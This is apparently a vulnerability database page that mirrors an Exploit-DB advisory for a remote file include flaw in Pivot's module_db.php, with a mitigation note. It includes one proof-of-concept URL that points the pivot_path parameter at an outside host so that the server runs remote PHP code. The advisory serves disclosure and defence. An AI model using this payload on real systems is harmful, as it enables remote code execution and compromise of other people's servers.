header-logo
Suggest Exploit
vendor:
Pivot
by:
7.5
CVSS
HIGH
Remote File Include
CWE
Product Name: Pivot
Affected Version From:
Affected Version To:
Patch Exists: NO
Related CWE:
CPE:
Metasploit:
Other Scripts:
Platforms Tested:

Pivot Remote File Include Vulnerability

Pivot is affected by a remote file include vulnerability contained within the module_db.php script. This issue is due to a failure of the application to properly sanitize user-supplied input before including it as a parameter to a file include function call. This issue may be exploited to force the affected application to execute attacker supplied PHP script code. This may allow for command execution on the underlying system as well as other attacks.

Mitigation:

Apply necessary input validation and sanitization to user-supplied input before using it in file include function calls. Regularly update the Pivot application to the latest version to ensure any security patches are applied.
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/10553/info

It has been reported that Pivot is affected by a remote file include vulnerability contained within the module_db.php script. This issue is due to a failure of the application to properly sanitize user-supplied input before including it as a parameter to a file include function call.

This issue may be exploited to force the affected application to execute attacker supplied PHP script code. This may allow for command execution on the underlying system as well as other attacks.

http://www.example.com/pivot/modules/module_db.php?pivot_path=http://www.example.org/

Navigation

Suggest Exploit

Services By CQR